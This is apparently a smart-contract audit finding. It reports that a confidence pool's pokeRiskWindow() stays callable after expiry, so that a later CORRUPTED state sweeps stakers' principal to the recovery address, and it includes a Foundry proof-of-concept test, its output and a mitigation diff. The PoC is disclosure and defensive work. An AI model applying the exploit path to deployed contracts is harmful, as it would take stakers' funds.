Root + Impact
Description
-
Normal behavior: after the pool term has expired without any in-term active-risk observation, stakers should be able to resolve through claimExpired() and recover principal. A risk state that begins only after pool expiry should not be treated as covered in-term risk.
-
I observed that pokeRiskWindow() remains callable after expiry while the pool is unresolved. If the registry enters UNDER_ATTACK only after the pool has already expired, an unprivileged caller can call pokeRiskWindow() and set riskWindowStart to expiry. Later, if the agreement becomes CORRUPTED, claimExpired() treats the nonzero riskWindowStart as enough to enter the bad-faith auto-CORRUPTED path after the moderator grace period. This can sweep staker principal and bonus to recoveryAddress for a post-term breach.
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
@> _observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
@> if (t > expiry) t = expiry;
@> riskWindowStart = uint32(t);
emit RiskWindowStarted(t);
}
function claimExpired() external nonReentrant {
...
@> if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
@> outcome = PoolStates.Outcome.CORRUPTED;
...
}
}
The issue is that riskWindowStart == expiry can be created after the pool term is already over, and later used as if there had been covered active risk during the pool term.
Risk
Likelihood:
-
This occurs when the pool expires before any active-risk observation, then the registry enters UNDER_ATTACK after expiry and any caller invokes pokeRiskWindow() before claimExpired().
-
The path uses normal public functions and does not require a privileged caller, non-standard ERC20 behavior, reentrancy, or token callbacks.
Impact:
-
Expired stakers can be blocked from claiming for the 180-day corrupted grace period.
-
After the grace period, the pool can auto-resolve as bad-faith CORRUPTED, sweeping principal and bonus to recoveryAddress even though the risk was first observed only after the pool term ended.
Proof of Concept
Create this file:
cat > test/unit/PoC_PostExpiryPokeAutoCorrupts.t.sol <<'EOF'
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
contract PoC_PostExpiryPokeAutoCorrupts is BaseConfidencePoolTest {
function test_PostExpiryPokeManufacturesAutoCorruptedEligibility() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
uint256 expiryTs = pool.expiry();
// Pool expires before any active-risk observation.
vm.warp(expiryTs + 1);
// Agreement becomes attackable only after the pool term ended.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
// BUG: post-expiry poke stores riskWindowStart == expiry.
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), expiryTs, "post-expiry poke sealed risk start at expiry");
// Later, the agreement becomes CORRUPTED.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// During grace, expired stakers are blocked from claiming.
vm.expectRevert(IConfidencePool.AgreementCorruptedAwaitingModerator.selector);
vm.prank(alice);
pool.claimExpired();
// After grace, the pool auto-resolves as bad-faith CORRUPTED.
vm.warp(expiryTs + pool.MODERATOR_CORRUPTED_GRACE() + 1);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED));
// Full pool is swept to recovery; Alice receives no expired principal.
uint256 recoveryBefore = token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(token.balanceOf(recovery) - recoveryBefore, 150 * ONE);
assertEq(token.balanceOf(alice), 0, "alice principal was swept despite post-term risk");
}
function test_WithoutPostExpiryPokeSamePostTermCorruptionExpires() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
uint256 expiryTs = pool.expiry();
vm.warp(expiryTs + 1);
// Same post-term corruption, but no post-expiry poke occurred.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(alice);
pool.claimExpired();
// With riskWindowStart == 0, claimExpired falls through to EXPIRED.
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(token.balanceOf(alice), 100 * ONE, "alice principal is safe without the poke");
}
}
EOF
Run:
forge test --match-path test/unit/PoC_PostExpiryPokeAutoCorrupts.t.sol -vvv
Observed output:
Ran 2 tests for test/unit/PoC_PostExpiryPokeAutoCorrupts.t.sol:PoC_PostExpiryPokeAutoCorrupts
[PASS] test_PostExpiryPokeManufacturesAutoCorruptedEligibility() (gas: 619253)
[PASS] test_WithoutPostExpiryPokeSamePostTermCorruptionExpires() (gas: 491058)
Suite result: ok. 2 passed; 0 failed; 0 skipped
The control test proves that the same post-term CORRUPTED state resolves safely as EXPIRED when no post-expiry pokeRiskWindow() occurs.
The exploit test proves that a post-expiry pokeRiskWindow() can manufacture riskWindowStart != 0, causing the same post-term breach to become bad-faith CORRUPTED and sweep 150e18 to recoveryAddress.
Recommended Mitigation
Do not allow pokeRiskWindow() to mutate risk-window markers after pool expiry. After expiry, users should resolve through claimExpired().
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
+ if (block.timestamp >= expiry) revert StakingClosed();
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
Add defense in depth so a capped riskWindowStart == expiry cannot satisfy the auto-CORRUPTED path:
- if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
+ if (
+ state == IAttackRegistry.ContractState.CORRUPTED
+ && riskWindowStart != 0
+ && riskWindowStart < expiry
+ ) {
...
}
This preserves the intended distinction between risk observed during the pool term and risk first observed only after the pool already expired.
